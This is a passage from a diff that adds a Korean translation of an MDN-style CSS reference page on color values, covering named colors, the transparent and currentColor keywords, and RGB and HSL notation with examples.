+   <td><code>#bdb76b</code></td>
+   <td style="background: darkkhaki;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkmagenta</code></td>
+   <td><code>#8b008b</code></td>
+   <td style="background: darkmagenta;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkolivegreen</code></td>
+   <td><code>#556b2f</code></td>
+   <td style="background: darkolivegreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkorange</code></td>
+   <td><code>#ff8c00</code></td>
+   <td style="background: darkorange;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkorchid</code></td>
+   <td><code>#9932cc</code></td>
+   <td style="background: darkorchid;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkred</code></td>
+   <td><code>#8b0000</code></td>
+   <td style="background: darkred;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darksalmon</code></td>
+   <td><code>#e9967a</code></td>
+   <td style="background: darksalmon;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkseagreen</code></td>
+   <td><code>#8fbc8f</code></td>
+   <td style="background: darkseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkslateblue</code></td>
+   <td><code>#483d8b</code></td>
+   <td style="background: darkslateblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkslategray</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkslategrey</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategrey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkturquoise</code></td>
+   <td><code>#00ced1</code></td>
+   <td style="background: darkturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>darkviolet</code></td>
+   <td><code>#9400d3</code></td>
+   <td style="background: darkviolet;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>deeppink</code></td>
+   <td><code>#ff1493</code></td>
+   <td style="background: deeppink;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>deepskyblue</code></td>
+   <td><code>#00bfff</code></td>
+   <td style="background: deepskyblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>dimgray</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>dimgrey</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgrey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>dodgerblue</code></td>
+   <td><code>#1e90ff</code></td>
+   <td style="background: dodgerblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>firebrick</code></td>
+   <td><code>#b22222</code></td>
+   <td style="background: firebrick;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>floralwhite</code></td>
+   <td><code>#fffaf0</code></td>
+   <td style="background: floralwhite;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>forestgreen</code></td>
+   <td><code>#228b22</code></td>
+   <td style="background: forestgreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>gainsboro</code></td>
+   <td><code>#dcdcdc</code></td>
+   <td style="background: gainsboro;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>ghostwhite</code></td>
+   <td><code>#f8f8ff</code></td>
+   <td style="background: ghostwhite;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>gold</code></td>
+   <td><code>#ffd700</code></td>
+   <td style="background: gold;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>goldenrod</code></td>
+   <td><code>#daa520</code></td>
+   <td style="background: goldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>greenyellow</code></td>
+   <td><code>#adff2f</code></td>
+   <td style="background: greenyellow ;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>grey</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: grey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>honeydew</code></td>
+   <td><code>#f0fff0</code></td>
+   <td style="background: honeydew;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>hotpink</code></td>
+   <td><code>#ff69b4</code></td>
+   <td style="background: hotpink;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>indianred</code></td>
+   <td><code>#cd5c5c</code></td>
+   <td style="background: indianred;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>indigo</code></td>
+   <td><code>#4b0082</code></td>
+   <td style="background: indigo;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>ivory</code></td>
+   <td><code>#fffff0</code></td>
+   <td style="background: ivory;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>khaki</code></td>
+   <td><code>#f0e68c</code></td>
+   <td style="background: khaki;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lavender</code></td>
+   <td><code>#e6e6fa</code></td>
+   <td style="background: lavender;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lavenderblush</code></td>
+   <td><code>#fff0f5</code></td>
+   <td style="background: lavenderblush ;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lawngreen</code></td>
+   <td><code>#7cfc00</code></td>
+   <td style="background: lawngreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lemonchiffon</code></td>
+   <td><code>#fffacd</code></td>
+   <td style="background: lemonchiffon;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightblue</code></td>
+   <td><code>#add8e6</code></td>
+   <td style="background: lightblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightcoral</code></td>
+   <td><code>#f08080</code></td>
+   <td style="background: lightcoral;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightcyan</code></td>
+   <td><code>#e0ffff</code></td>
+   <td style="background: lightcyan;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightgoldenrodyellow</code></td>
+   <td><code>#fafad2</code></td>
+   <td style="background: lightgoldenrodyellow ;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightgray</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightgreen</code></td>
+   <td><code>#90ee90</code></td>
+   <td style="background: lightgreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightgrey</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgrey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightpink</code></td>
+   <td><code>#ffb6c1</code></td>
+   <td style="background: lightpink;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightsalmon</code></td>
+   <td><code>#ffa07a</code></td>
+   <td style="background: lightsalmon;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightseagreen</code></td>
+   <td><code>#20b2aa</code></td>
+   <td style="background: lightseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightskyblue</code></td>
+   <td><code>#87cefa</code></td>
+   <td style="background: lightskyblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightslategray</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightslategrey</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategrey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightsteelblue</code></td>
+   <td><code>#b0c4de</code></td>
+   <td style="background: lightsteelblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>lightyellow</code></td>
+   <td><code>#ffffe0</code></td>
+   <td style="background: lightyellow;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>limegreen</code></td>
+   <td><code>#32cd32</code></td>
+   <td style="background: limegreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>linen</code></td>
+   <td><code>#faf0e6</code></td>
+   <td style="background: linen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>magenta</code><br>
+    (<code>fuchsia</code>의 다른 이름)</td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: magenta;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumaquamarine</code></td>
+   <td><code>#66cdaa</code></td>
+   <td style="background: mediumaquamarine;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumblue</code></td>
+   <td><code>#0000cd</code></td>
+   <td style="background: mediumblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumorchid</code></td>
+   <td><code>#ba55d3</code></td>
+   <td style="background: mediumorchid;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumpurple</code></td>
+   <td><code>#9370db</code></td>
+   <td style="background: mediumpurple;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumseagreen</code></td>
+   <td><code>#3cb371</code></td>
+   <td style="background: mediumseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumslateblue</code></td>
+   <td><code>#7b68ee</code></td>
+   <td style="background: mediumslateblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumspringgreen</code></td>
+   <td><code>#00fa9a</code></td>
+   <td style="background: mediumspringgreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumturquoise</code></td>
+   <td><code>#48d1cc</code></td>
+   <td style="background: mediumturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mediumvioletred</code></td>
+   <td><code>#c71585</code></td>
+   <td style="background: mediumvioletred;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>midnightblue</code></td>
+   <td><code>#191970</code></td>
+   <td style="background: midnightblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mintcream</code></td>
+   <td><code>#f5fffa</code></td>
+   <td style="background: mintcream;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>mistyrose</code></td>
+   <td><code>#ffe4e1</code></td>
+   <td style="background: mistyrose;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>moccasin</code></td>
+   <td><code>#ffe4b5</code></td>
+   <td style="background: moccasin;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>navajowhite</code></td>
+   <td><code>#ffdead</code></td>
+   <td style="background: navajowhite;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>oldlace</code></td>
+   <td><code>#fdf5e6</code></td>
+   <td style="background: oldlace;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>olivedrab</code></td>
+   <td><code>#6b8e23</code></td>
+   <td style="background: olivedrab;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>orangered</code></td>
+   <td><code>#ff4500</code></td>
+   <td style="background: orangered;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>orchid</code></td>
+   <td><code>#da70d6</code></td>
+   <td style="background: orchid;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>palegoldenrod</code></td>
+   <td><code>#eee8aa</code></td>
+   <td style="background: palegoldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>palegreen</code></td>
+   <td><code>#98fb98</code></td>
+   <td style="background: palegreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>paleturquoise</code></td>
+   <td><code>#afeeee</code></td>
+   <td style="background: paleturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>palevioletred</code></td>
+   <td><code>#db7093</code></td>
+   <td style="background: palevioletred;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>papayawhip</code></td>
+   <td><code>#ffefd5</code></td>
+   <td style="background: papayawhip;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>peachpuff</code></td>
+   <td><code>#ffdab9</code></td>
+   <td style="background: peachpuff;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>peru</code></td>
+   <td><code>#cd853f</code></td>
+   <td style="background: peru;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>pink</code></td>
+   <td><code>#ffc0cb</code></td>
+   <td style="background: pink;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>plum</code></td>
+   <td><code>#dda0dd</code></td>
+   <td style="background: plum;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>powderblue</code></td>
+   <td><code>#b0e0e6</code></td>
+   <td style="background: powderblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>rosybrown</code></td>
+   <td><code>#bc8f8f</code></td>
+   <td style="background: rosybrown;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>royalblue</code></td>
+   <td><code>#4169e1</code></td>
+   <td style="background: royalblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>saddlebrown</code></td>
+   <td><code>#8b4513</code></td>
+   <td style="background: saddlebrown;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>salmon</code></td>
+   <td><code>#fa8072</code></td>
+   <td style="background: salmon;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>sandybrown</code></td>
+   <td><code>#f4a460</code></td>
+   <td style="background: sandybrown;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>seagreen</code></td>
+   <td><code>#2e8b57</code></td>
+   <td style="background: seagreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>seashell</code></td>
+   <td><code>#fff5ee</code></td>
+   <td style="background: seashell;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>sienna</code></td>
+   <td><code>#a0522d</code></td>
+   <td style="background: sienna;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>skyblue</code></td>
+   <td><code>#87ceeb</code></td>
+   <td style="background: skyblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>slateblue</code></td>
+   <td><code>#6a5acd</code></td>
+   <td style="background: slateblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>slategray</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategray;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>slategrey</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategrey;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>snow</code></td>
+   <td><code>#fffafa</code></td>
+   <td style="background: snow;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>springgreen</code></td>
+   <td><code>#00ff7f</code></td>
+   <td style="background: springgreen;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>steelblue</code></td>
+   <td><code>#4682b4</code></td>
+   <td style="background: steelblue;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>tan</code></td>
+   <td><code>#d2b48c</code></td>
+   <td style="background: tan;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>thistle</code></td>
+   <td><code>#d8bfd8</code></td>
+   <td style="background: thistle;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>tomato</code></td>
+   <td><code>#ff6347</code></td>
+   <td style="background: tomato;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>turquoise</code></td>
+   <td><code>#40e0d0</code></td>
+   <td style="background: turquoise;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>violet</code></td>
+   <td><code>#ee82ee</code></td>
+   <td style="background: violet;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>wheat</code></td>
+   <td><code>#f5deb3</code></td>
+   <td style="background: wheat;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>whitesmoke</code></td>
+   <td><code>#f5f5f5</code></td>
+   <td style="background: whitesmoke;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><code>yellowgreen</code></td>
+   <td><code>#9acd32</code></td>
+   <td style="background: yellowgreen;"></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Colors")}}</td>
+   <td style="text-align: center;"><a href="https://en.wikipedia.org/wiki/Eric_A._Meyer#Personal_life"><code>rebeccapurple</code></a></td>
+   <td><code>#663399</code></td>
+   <td style="background: rebeccapurple;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="transparent_키워드"><code><a id="transparent" name="transparent">transparent</a></code> 키워드</h3>
+
+<p><code>transparent</code> 키워드는 완전히 투명한 색으로, "색"을 입힌 항목의 뒷편이 모두 보입니다. 기술적으로 <code>transparent</code>는 <code>rgba(0,0,0,0)</code>의 짧은 이름입니다.</p>
+
+<div class="note">
+<p><strong>호환성 참고:</strong> {{cssxref("gradient")}} 등 특정 상황에서 의도하지 않은 결과를 피하기 위해, 현재 CSS 명세에선 <code>transparent</code>를 <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">투명도를 미리 곱한 색 공간</a>에서 계산하도록 명시하고 있습니다. 그러나 오래된 브라우저에서는 투명도 0의 검정으로 취급할 수 있음에 주의하세요.</p>
+</div>
+
+<div class="note">
+<p><strong>역사 참고:</strong> <code>transparent</code>는 CSS Level 2 (Revision 1) 전까지 실제 색상이 아니었습니다. 대신 {{cssxref("background")}}와 {{cssxref("border")}}의 <code>&lt;color&gt;</code> 자리에 사용하는 특별한 키워드로, 상속받은 단색을 덮어 쓸 수 있도록 추가됐었습니다. CSS Colors Level 3에서 알파 채널이 추가되면서 <code>transparent</code>도 실제 색상으로 재정의되었습니다. 덕분에 <code>&lt;color&gt;</code> 값 어디에나 사용할 수 있습니다.</p>
+</div>
+
+<h3 id="currentColor_키워드"><code><a id="currentColor" name="currentColor">currentColor</a></code> 키워드</h3>
+
+<p><code>currentColor</code> 키워드는 요소의 {{Cssxref("color")}} 속성값을 나타냅니다. 이를 통해 다른 속성이 <code>color</code> 속성값을 따라가도록 설정할 수 있습니다.</p>
+
+<p><code>color</code> 속성의 값으로 <code>currentColor</code> 키워드를 사용하면, 값을 상속받은 <code>color</code> 속성에서 대신 가져옵니다.</p>
+
+<h4 id="currentColor_예제"><code>currentColor</code> 예제</h4>
+
+<pre class="brush: html">&lt;div style="color: blue; border: 1px dashed currentColor;"&gt;
+  이 글의 색은 파랑입니다.
+  &lt;div style="background: currentColor; height:9px;"&gt;&lt;/div&gt;
+  이 블록은 파란 테두리로 둘러쌓여 있습니다.
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample("currentColor_예제")}}</p>
+
+<h3 id="RGB_색상">RGB 색상</h3>
+
+<p>RGB 색상 모델은 빨강, 초록, 파랑을 통해 특정 색을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.</p>
+
+<h4 id="구문_2">구문</h4>
+
+<p>RGB 색상은 # 뒤의 16진수 표기법이나 함수형 표기법(<a id="rgb()" name="rgb()"><code>rgb()</code></a>, <a id="rgba()" name="rgba()"><code>rgba()</code></a>)으로 표현할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> CSS Colors Level 4부터 <code>rgba()</code>는 <code>rgb()</code>의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.</p>
+</div>
+
+<dl>
+ <dt>16진수 표기법: <code>#RRGGBB[AA]</code></dt>
+ <dd><code>R</code>(빨강), <code>G</code>(초록), <code>B</code>(파랑), <code>A</code>(알파)는 16진수 문자(0-9, A-F)입니다. <code>A</code>는 선택사항입니다. 예를 들어 <code>#ff0000</code>은 <code>#ff0000ff</code>와 같습니다.</dd>
+ <dt>16진수 표기법: <code>#RGB[A]</code></dt>
+ <dd><code>R</code>(빨강), <code>G</code>(초록), <code>B</code>(파랑), <code>A</code>(알파)는 16진수 문자(0-9, A-F)입니다. <code>A</code>는 선택사항입니다. 세 글자 표기법(<code>#RGB</code>)은 여섯 글자 표기법(<code>#RRGGBB</code>)의 단축 표현입니다. 예를 들어 <code>#f09</code>는 <code>#ff0099</code>와 같습니다. 비슷하게 네 글자 표기법(<code>#RGBA</code>)은 여덟 글자 표기법(<code>#RRGGBBAA</code>)의 단축 표기법이다. 예를 들어 <code>#0f38</code>은 <code>#00ff3388</code>과 같습니다.</dd>
+ <dt>함수형 표기법: <code>rgb(R, G, B[, A])</code> 또는 <code>rgba(R, G, B, A)</code></dt>
+ <dd><code>R</code>(빨강), <code>G</code>(초록), <code>B</code>(파랑)은 {{cssxref("&lt;integer&gt;")}}나 {{cssxref("&lt;percentage&gt;")}}이며 숫자 <code>255</code>가 <code>100%</code>와 동일합니다. <code>A</code>(알파)는 0과 1 사이의 {{cssxref("&lt;number&gt;")}}거나 {{cssxref("&lt;percentage&gt;")}}이며 숫자 <code>1</code>이 <code>100%</code>(불투명)와 동일합니다.</dd>
+ <dt>함수형 표기법: <code>rgb(R G B[ A])</code> 또는 <code>rgba(R G B A)</code></dt>
+ <dd>CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.</dd>
+</dl>
+
+<h4 id="예제">예제</h4>
+
+<h5 id="다양한_RGB_구문">다양한 RGB 구문</h5>
+
+<p>다음 예제는 한 가지 색상을 만들 때 쓸 수 있는 다양한 RGB 색상 구문을 보입니다.</p>
+
+<pre>/* 아래 모든 구문은 불투명한 핫핑크를 표현합니다. */
+
+/* 16진수 구문 */
+#f09
+#F09
+#ff0099
+#FF0099
+
+/* 함수형 구문 */
+rgb(255,0,153)
+rgb(255, 0, 153)
+rgb(255, 0, 153.0) /* 오류! 소수점 금지 */
+rgb(100%,0%,60%)
+rgb(100%, 0%, 60%)
+rgb(100%, 0, 60%) /* 오류! 정수와 백분율 혼용 금지 */
+rgb(255 0 153)
+
+/* 16진수와 알파 값 */
+#f09f
+#F09F
+#ff0099ff
+#FF0099FF
+
+/* 함수형 구문과 알파 값 */
+rgb(255, 0, 153, 1)
+rgb(255, 0, 153, 100%)
+
+/* 공백 구분 구문 */
+rgb(255 0 153 / 1)
+rgb(255 0 153 / 100%)
+
+/* 정숫값을 사용한 함수형 구문 */
+rgb(255, 0, 153.6, 1)
+rgb(1e2, .5e1, .5e0, +.25e2%)
+</pre>
+
+<h5 id="다양한_RGB_투명도_구문">다양한 RGB 투명도 구문</h5>
+
+<pre>/* 16진수 구문 */
+#3a30                   <span style="background: #3a30;"> /*   0% opaque green */ </span>
+#3A3F                   <span style="background: #3A3F;"> /* full opaque green */ </span>
+#33aa3300               <span style="background: #33aa3300;"> /*   0% opaque green */ </span>
+#33AA3388               <span style="background: #33AA3388;"> /*  50% opaque green */ </span>
+
+/* 함수형 구문 */
+rgba(51, 170, 51, .1)   <span style="background: rgba(51, 170, 51, .1);"> /*  10% opaque green */ </span>
+rgba(51, 170, 51, .4)   <span style="background: rgba(51, 170, 51, .4);"> /*  40% opaque green */ </span>
+rgba(51, 170, 51, .7)   <span style="background: rgba(51, 170, 51, .7);"> /*  70% opaque green */ </span>
+rgba(51, 170, 51,  1)   <span style="background: rgba(51, 170, 51,  1);"> /* full opaque green */ </span>
+
+/* 공백 구분 구문 */
+rgba(51 170 51 / 0.4)   <span> /*  40% opaque green */ </span>
+rgba(51 170 51 / 40%)   <span> /*  40% opaque green */
+
+</span>/* 정숫값을 사용한 함수형 구문 */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+</pre>
+
+<h3 id="HSL_색상">HSL 색상</h3>
+
+<p>HSL 색상 모델은 색상, 채도, 명도를 통해 특정 색상을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.</p>
+
+<p>많은 디자이너들은 색상, 채도, 명도를 따로 조절할 수 있는 HSL이 RGB보다 더 직관적임을 발견합니다. 또한 HSL을 사용하면 짝이 맞는 색(예컨대 한 가지 색의 여러 밝기) 여러 종류를 더 쉽게 만들 수 있습니다.</p>
+
+<h4 id="구문_3">구문</h4>
+
+<p>HSL 색상은 함수형 <a id="hsl()" name="hsl()"><code>hsl()</code></a>과 <a id="hsla()" name="hsla()"><code>hsla()</code></a> 표기법을 사용합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> CSS Colors Level 4부터 <code>hsla()</code>는 <code>hsl()</code>의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.</p>
+</div>
+
+<dl>
+ <dt>함수형 표기법: <code>hsl(H, S, L[, A])</code> 또는 <code>hsla(H, S, L, A)</code></dt>
+ <dd><code>H</code>(색상)은 색상원에서의 {{cssxref("&lt;angle&gt;")}}로 {{SpecName("CSS4 Colors","#the-hsl-notation")}} 기준 <code>deg</code>, <code>rad</code>, <code>grad</code>, <code>turn</code>을 사용할 수 있습니다. 단위 없이 {{cssxref("&lt;number&gt;")}}로 표현할 경우 {{SpecName("CSS3 Colors", "#hsl-color")}}에 명시된 것과 같이 각도로 해석합니다. 정의에 따르면 빨강=<code>0deg</code>=<code>360deg</code>이며 다른 색은 (초록=<code>120deg</code>, 파랑=<code>240deg</code> 등) 원을 따라 분포하고 있습니다. <code>&lt;angle&gt;</code>이라면 암묵적으로 원의 주위를 한 바퀴 돕니다. 예컨대 <code>-120deg</code>=<code>240deg</code>, <code>480deg</code>=<code>120deg</code>, <code>-1turn</code>=<code>1turn</code> 입니다.</dd>
+ <dd><code>S</code>(채도)와 <code>L</code>(명도)는 {{cssxref("&lt;percentage&gt;")}}입니다. <code>100%</code> <strong>채도는</strong> 제일 진한 색이며 <code>0%</code>는 회색입니다. <code>100%</code> <strong>명도</strong>는 흰색, <code>0%</code> 명도는 검은색, <code>50%</code> 명도는 "보통" 색입니다.</dd>
+ <dd><code>A</code>(알파)는 0과 1 사이의 {{cssxref("&lt;number&gt;")}}거나 {{cssxref("&lt;percentage&gt;")}}이며 숫자 <code>1</code>이 <code>100%</code>(불투명)와 동일합니다.</dd>
+ <dt>함수형 표기법: <code>hsl(H S L[ A])</code> 또는 <code>hsla(H S L A)</code></dt>
+ <dd>CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.</dd>
+</dl>
+
+<h4 id="예제_2">예제</h4>
+
+<h5 id="다양한_HSL_구문">다양한 HSL 구문</h5>
+
+<pre style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">/* 아래 모든 구문은 라벤더를 표현합니다. */
+hsl(270,60%,70%)
+hsl(270, 60%, 70%)
+hsl(270 60% 70%)
+hsl(270deg, 60%, 70%)
+hsl(4.71239rad, 60%, 70%)
+hsl(.75turn, 60%, 70%)
+
+/* 아래 모든 구문은 85% 투명한 라벤더를 표현합니다. */
+hsl(270, 60%, 50%, .15)
+hsl(270, 60%, 50%, 15%)
+hsl(270 60% 50% / .15)
+hsl(270 60% 50% / 15%)
+</pre>
+
+<h5 id="제일_진한_색상">제일 진한 색상</h5>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">표현</th>
+   <th scope="col">설명</th>
+   <th scope="col">미리보기</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hsl(0, 100%, 50%)</code></td>
+   <td>red</td>
+   <td style="background: hsl(0,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(30, 100%, 50%)</code></td>
+   <td>orange</td>
+   <td style="background: hsl(30,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(60, 100%, 50%)</code></td>
+   <td>yellow</td>
+   <td style="background: hsl(60,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(90, 100%, 50%)</code></td>
+   <td>lime green</td>
+   <td style="background: hsl(90,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(120, 100%, 50%)</code></td>
+   <td>green</td>
+   <td style="background: hsl(120,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(150, 100%, 50%)</code></td>
+   <td>blue-green</td>
+   <td style="background: hsl(150,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(180, 100%, 50%)</code></td>
+   <td>cyan</td>
+   <td style="background: hsl(180,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(210, 100%, 50%)</code></td>
+   <td>sky blue</td>
+   <td style="background: hsl(210,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(240, 100%, 50%)</code></td>
+   <td>blue</td>
+   <td style="background: hsl(240,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(270, 100%, 50%)</code></td>
+   <td>purple</td>
+   <td style="background: hsl(270,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(300, 100%, 50%)</code></td>
+   <td>magenta</td>
+   <td style="background: hsl(300,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(330, 100%, 50%)</code></td>
+   <td>pink</td>
+   <td style="background: hsl(330,100%,50%);"></td>
+  </tr>
+  <tr>
+   <td><code>hsl(360, 100%, 50%)</code></td>
+   <td>red</td>
+   <td style="background: hsl(360,100%,50%);"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h5 id="밝고_어두운_초록">밝고 어두운 초록</h5>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Notation</th>
+   <th scope="col">Description</th>
+   <th scope="col">Live</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>hsl(120, 100%, 0%)</code></td>
+   <td>black</td>
